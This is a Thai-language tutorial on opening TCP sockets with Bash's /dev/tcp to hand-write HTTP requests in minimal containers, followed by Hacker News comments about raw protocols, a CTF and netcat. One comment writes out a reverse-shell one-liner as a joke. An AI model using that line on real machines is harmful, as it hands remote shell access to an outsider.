- อิมเมจคอนเทนเนอร์แบบมินิมอลมักไม่มี curl หรือ wget ติดมาให้ จึงมีประโยชน์ที่จะมีวิธีอ้อมสำหรับตรวจสอบการเชื่อมต่อกับบริการภายในโดยไม่ต้องติดตั้งแพ็กเกจเพิ่ม
- การรีไดเร็กต์
/dev/tcp/host/port ของ Bash สามารถเปิด TCP socket ได้ ทำให้เขียนส่งสตริงคำขอ HTTP/1.1 โดยตรงและอ่านการตอบกลับได้
/dev/tcp ไม่ใช่พาธในไฟล์ซิสเต็ม แต่เป็น ความสามารถภายในของ Bash ดังนั้น ls /dev/tcp หรือการเข้าถึงไฟล์แบบปกติจากเชลล์อื่นจะไม่ทำงาน
- วิธีนี้เป็น เทคนิคดีบักอย่างง่าย ที่ไม่รองรับ redirect, การตอบกลับแบบ chunked, การบีบอัด, retry หรือ TLS และถ้าไม่มี
Connection: close แล้ว cat อาจค้างรอได้
- สำหรับงาน HTTP ทั่วไปยังควรใช้ curl แต่ใน คอนเทนเนอร์ขนาดเล็ก ที่เพิ่มเครื่องมือได้ยาก วิธีนี้ก็เพียงพอสำหรับการตรวจสอบการเชื่อมต่ออย่างรวดเร็ว
เขียนคำขอ HTTP ด้วย file descriptor ของ Bash
- จำเป็นต้องตรวจสอบว่าสามารถเข้าถึงเอนด์พอยต์
/health ของอีกบริการหนึ่งใน Docker network ภายในได้หรือไม่ แต่ในอิมเมจไม่มี curl หรือ wget
- Bash สามารถเชื่อม TCP socket เข้ากับ file descriptor ได้ จึงเขียนและส่งคำขอ HTTP โดยตรงได้แบบนี้
exec 3<>/dev/tcp/service/8642
printf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3
cat <&3
service ต้องเป็นชื่อโฮสต์ที่ตีความได้และเข้าถึงได้จากตำแหน่งที่รัน
- อาจเป็นชื่อคอนเทนเนอร์หรือชื่อบริการที่ตั้งไว้ใน Docker network
- ใช้ชื่อ DNS ที่ resolve ได้เช่นกัน
- ควรเปลี่ยนโฮสต์และพอร์ตให้ตรงกับสภาพแวดล้อมของตน
- ผลลัพธ์ของการตอบกลับจะมีทั้ง status line, header, บรรทัดว่าง และเนื้อหา
- หากต้องการเพิ่ม header ให้ใส่บรรทัดที่ลงท้ายด้วย
\r\n เพิ่มก่อนบรรทัดว่างที่ใช้ปิดท้ายคำขอ
exec 3<>/dev/tcp/service/8642
printf 'GET /v1/models HTTP/1.1\r\nHost: service\r\nAuthorization: Bearer %s\r\nConnection: close\r\n\r\n' "$API_KEY" >&3
cat <&3
ทำไม /dev/tcp ถึงไม่ใช่ไฟล์จริง
/dev/tcp ไม่ใช่ device file จริง แต่เป็น การรีไดเร็กต์ที่ Bash จัดการเอง
- ไม่มีพาธนี้อยู่บนดิสก์ ดังนั้น
ls /dev/tcp จะล้มเหลว
- หากไปรัน
cat /dev/tcp/... ในเชลล์อื่นก็จะเกิดข้อผิดพลาด
- ตาม Bash manual ถ้าใช้
/dev/tcp/host/port โดยที่ host เป็นชื่อโฮสต์หรือที่อยู่อินเทอร์เน็ตที่ถูกต้อง และ port เป็นหมายเลขพอร์ตจำนวนเต็มหรือชื่อบริการ Bash จะพยายามเปิด TCP socket
- Bash จะทำ DNS lookup และ
connect(2) จากนั้น exec 3<> จะผูก socket เข้ากับ file descriptor 3 เพื่อให้อ่านและเขียนได้
ไม่ใช่ตัวแทนของ HTTP client แต่เป็นเครื่องมือตรวจสอบชั่วคราว
- วิธีนี้ไม่ใช่ HTTP client จริง จึงไม่รองรับ redirect, การตอบกลับแบบ chunked, การบีบอัด, retry, TLS และอื่น ๆ
- header
Connection: close มีความสำคัญ
- หากไม่มี เซิร์ฟเวอร์อาจคงการเชื่อมต่อไว้ตามค่าเริ่มต้นของ HTTP/1.1
- ในกรณีนี้
cat <&3 อาจรอ EOF แล้วไม่จบ
- สามารถครอบด้วย
timeout 6 bash -c '...' เพื่อรับมือกรณีที่การเชื่อมต่อไม่ถูกปิด
/dev/tcp เป็นการเปิด raw socket จึงใช้ได้เฉพาะกับ HTTP แบบ plaintext และถ้าเป็น https ต้องใช้ openssl s_client
- นี่ไม่ใช่ความสามารถของ POSIX แต่เป็นความสามารถของ Bash จึงใช้ไม่ได้ใน
dash ซึ่งเป็น /bin/sh ของ Debian หรือใน zsh และต้องเรียก bash โดยตรง
- เป็นออปชันตอนคอมไพล์ที่เปิดด้วย
--enable-net-redirections ตอน build Bash
- สรุปคือมันไม่ใช่เครื่องมือทั่วไปสำหรับแทน curl แต่เหมาะสำหรับการตรวจสอบการเชื่อมต่ออย่างรวดเร็วใน คอนเทนเนอร์ขนาดเล็ก ที่ไม่สามารถติดตั้งอะไรเพิ่มได้
1 ความคิดเห็น
ความคิดเห็นจาก Hacker News
ตอนเป็นเด็กช่วงปลายยุค 90 รู้แล้วช็อกว่าเราสามารถต่อ
telnetเข้า พอร์ต 80, 25, 110 แล้วคุยกับเซิร์ฟเวอร์ได้โดยตรงสามารถพิมพ์คำขอ
GET / HTTP/1.1แบบง่าย ๆ เองได้ หรือส่งเมลบนพอร์ต 25 ด้วยHELO,mail-from,mail-toและใช้ POP3 ดึงรายการกล่องจดหมายกับข้อความแต่ละฉบับได้ประสบการณ์นี้คือจุดเริ่มต้นของการตระหนักว่า “ไม่มีเวทมนตร์” และทำให้รู้ว่าทุกส่วนของคอมพิวเตอร์ล้วนเป็นสิ่งที่มนุษย์สร้างขึ้น และถ้าพยายามก็เข้าใจได้ถึงระดับหนึ่ง
ในอนาคตคนส่วนใหญ่อาจปล่อยให้เอเจนต์จัดการให้ แต่สำหรับคนที่อยากเรียนรู้การทำงานจริงโดยไม่มีฟิลเตอร์ของโมเดลและมาตรการป้องกัน ก็น่าจะยังมีช่องทางน่าสนใจในหลายระบบให้ขุดค้นอยู่
jacques.chirac@elysee.frเพื่อให้เพื่อนมองว่าเราเหมือนแฮ็กเกอร์ได้เป็นโครงสร้างที่มีตัวย่อมากมายซ้อนอยู่บนวิธีต่าง ๆ สำหรับสร้าง ส่ง และอ่านไฟล์ข้อความแบบมีโครงสร้าง
วันหนึ่งพอรู้ว่าแม้แต่ฐานข้อมูลก็เป็นไฟล์ข้อความ ก็ต้องนั่งนิ่งไปพักหนึ่ง
telnetเข้า POP3 และ SMTP ทีละตัวส่วน TLS ก็ใช้
telnetไม่ได้ และเซิร์ฟเวอร์จำนวนมากก็จะตอบกลับคำขอ HTTP ด้วยการรีไดเรกต์เท่านั้นถ้าใช้
openssl s_clientแทนtelnetก็ยังพอ tunnel ข้อความเข้าไปใน TLS ได้ แต่ก็ให้ความรู้สึกเหมือนเป็นวิธีลัดนิดหน่อยน่าเสียดายที่โปรโตคอลสมัยใหม่จำนวนมากหันไปใช้การเข้ารหัสแบบไบนารี ทำให้ถ้าไม่มีเครื่องมือเฉพาะก็จับต้องในระดับสายสัญญาณได้ยากขึ้น
ถึงอย่างนั้นก็น่าจะยังมีคนที่ชอบขุดคุ้ยเรื่องแบบนี้ในอนาคต และเทคนิคเก่า ๆ ก็สนุกและบางทีก็มีประโยชน์จริง เหมือนการก่อไฟด้วยไม้หรือเผาอิฐดิน
กลับกัน AI ก็ทำให้การทดลองง่ายขึ้น เพราะแทนที่จะต้องไล่อ่าน RFC ก็ถาม LLM ได้เลย เช่น เรียนรู้คำสั่ง IMAP ทั่วไปส่วนใหญ่ได้
ใน
zshมี โมดูลzsh/net/tcpและzsh/zftpแยกต่างหากจาก/dev/tcpของ Bashhttps://zsh.sourceforge.io/Doc/Release/TCP-Function-System.h...
https://zsh.sourceforge.io/Doc/Release/Zsh-Modules.html#The-...
https://zsh.sourceforge.io/Doc/Release/Zftp-Function-System....
ใน Plan 9 มี
/netซึ่งเป็นระบบไฟล์สังเคราะห์จริง ๆ ทำให้โปรแกรมใด ๆ ก็ทำงานแบบนี้และมากกว่านี้ได้ถ้าเมานต์
/netของเครื่องอื่นผ่านโปรโตคอล 9P ก็ใช้เหมือน VPN เฉพาะกิจได้ด้วย และสามารถทดลองจาก Linux ผ่าน 9front ได้ในไลบรารี Go ก็ยังเห็นร่องรอยของ
/netแบบ Plan 9 อยู่ เหมือนเป็นมรดกจาก Rob Pikeใช้กับ
example.comได้ดีเปิดด้วย
exec 3<>/dev/tcp/example.com/80แล้วส่งprintf 'GET / HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' >&3จากนั้นcat <&3ก็จะได้HTTP/1.1 200 OKทุกวันนี้โดเมนที่ไม่ได้บังคับ HTTPS มีน้อยมาก สุดท้ายเวลาเทสต์อะไรแบบนี้ก็มักต้องไปใช้ example.com
example.comก็มีประโยชน์ถ้าเปิด http://example.com ในเบราว์เซอร์ ก็จะถูกรีไดเรกต์กลับไปยังหน้า captive portal เพื่อทำขั้นตอนเชื่อมต่ออินเทอร์เน็ตให้เสร็จอีกครั้ง
printfก็ใช้ได้\rควรมีถึงจะถูกต้อง แต่ไม่มีมันก็ยังพอทำงานได้มีมุกได้ว่าถ้าจะคุยกับคอมพิวเตอร์ของเพื่อน ทุกคนก็ใช้
bash -i >& /dev/tcp/IP/PORT 0>&1กันทั้งนั้นBash ไม่ได้พูด HTTP ได้เอง แต่ มันแค่เปิด TCP socket ได้
สิ่งที่ทำกันตรงนี้คือพูด HTTP เองโดยตรง ซึ่งใช้ทดสอบหรือดีบักก็โอเค และลองทำด้วยมือก็ดูน่าสนุก แต่ถ้าเอา HTTP client ปลอม ๆ แบบนี้ไปใช้ในสภาพแวดล้อมอัตโนมัติจริง ๆ สุดท้ายจะเจ็บตัวเอง
โค้ดของเล่นแบบนี้พังได้เพราะ parse HTTP ได้ไม่ถูกต้อง
แน่นอนว่าคุณจะเขียน HTTP/1.1 client ที่สมบูรณ์ด้วย Bash ก็ได้ และทำ HTTP server ด้วย Bash ล้วนก็พอทำได้เช่นกัน: https://github.com/bahamas10/bash-web-server
ทางเลือกที่บ้าพอน้อยกว่าคือปกติจะใช้
ncและส่วนใหญ่ก็น่าจะฉลาดกว่าด้วยBash ไม่สามารถ listen บน TCP/UDP socket เพื่อรับการเชื่อมต่อขาเข้าได้
โปรเจกต์
bash-web-serverจะ build socket listener ที่เขียนด้วย C แล้ว dynamic load ตอนรันไทม์เป็นโมดูล “ในตัว” เพื่อเพิ่มความสามารถนี้[0] https://github.com/bahamas10/bash-web-server/tree/main/loada...
เครื่องมือสาย
ncหรือ netcat แบบใกล้เคียงกันน่าจะเป็นตัวเลือกที่ดีกว่า แต่ตอนนั้น image ที่ใช้อยู่ไม่มีเครื่องมือพวกนั้นฉันพิมพ์ HTTP request ด้วยมือตั้งแต่ก่อนจะมี HTTP/1.1 และ
Hostheader ที่จำเป็นเสียอีกถ้าจะใช้ทำอะไรจริงจังคงบ้ามาก และการทำเว็บเซิร์ฟเวอร์ด้วย Bash ก็เหมือนกัน แต่ถ้าเอาไว้ทดสอบเร็ว ๆ ถือว่าใช้ได้ดีทีเดียว
https://sdomi.pl/weblog/15-witchcraft-minecraft-server-in-ba...
ฉันเรียนรู้เรื่องนี้จากการเห็นทีม Bauhinia ใช้มันตอนแก้โจทย์ CTF
มันเป็น CTF แบบหลายด่านต่อกัน ตอนแรกได้
systemshell จาก ROP chain แต่กลายเป็นสภาพแวดล้อมแบบคุกที่แทบจะรันอะไรได้นอกจาก Bashใช้ได้แค่ประมาณ
readกับcatเลยใช้cat /dev/tcpแล้ว redirect ไปยัง virtual terminal จากนั้นอ่านเนื้อหานั้นเพื่อเอา URL ของระบบภายในและหา flag จนเจอตอนตรวจสอบการเชื่อมต่อระหว่างคอนเทนเนอร์ใน Docker network ภายใน ผมเจอวิธีนี้เพราะใน image ไม่มีทั้ง
curlและwgetที่น่าประหลาดใจคือ Bash มี
/dev/tcpอยู่ ทำให้ใช้ shell magic นิดหน่อยสร้างอะไรคล้าย HTTP request ได้ตัวอย่างเช่นเปิดด้วย
exec 3<>/dev/tcp/service/8642แล้วส่งprintf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3จากนั้นcat <&3ก็ได้ตรงนี้
serviceคือชื่อโฮสต์ปลายทางที่จะเชื่อมต่อ และ8642คือพอร์ตที่อยากลองคุยแบบ HTTPนึกข้อเสียไม่ออก และมองว่าแทบเป็นสิ่งจำเป็นแม้แต่ใน production image
ใน Debian รุ่นเก่าและดิสทริบิวชันสาย Debian สมัยก่อน ฟีเจอร์นี้ใช้ไม่ได้ เพราะ การเข้าถึง TCP ผ่านไฟล์เสมือนถูกปิดไว้เป็นค่าเริ่มต้น
เท่าที่เข้าใจ จุดยืนถูกเปลี่ยนในปี 2009 และเปิดใช้งานฟีเจอร์นี้ โดยมีการอภิปรายและลิงก์อยู่ใน Bug #146464
<https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=146464#37>
นอกจากวิธีนี้ ยังมีวิธีเข้าถึงความสามารถด้านเครือข่ายจากเครื่องมือ shell ได้อีกหลายแบบ เช่น
curl,wget, คำสั่งHEADและGETของ Perl,netcat/nc,socat,telnetเป็นต้นฉันยังจำได้ว่าตอนเป็นวัยรุ่นเคยใช้
echoส่งข้อความหลอน ๆ ไปยัง/dev/pttyของคนอื่นเพื่อแกล้งให้ตกใจข้อความที่ฉันส่งจะไปโผล่บนเทอร์มินัลที่อีกฝ่ายเปิดอยู่ราวกับเวทมนตร์
จนทุกวันนี้ก็ยังไม่รู้ว่าทำไมในห้องคอมถึงให้แต่ละเครื่องใช้คนละบัญชีโดยไม่ล็อกไว้ หรือบางทีอาจเป็นเพราะ ข้อจำกัดของ VAX ในตอนนั้นก็ได้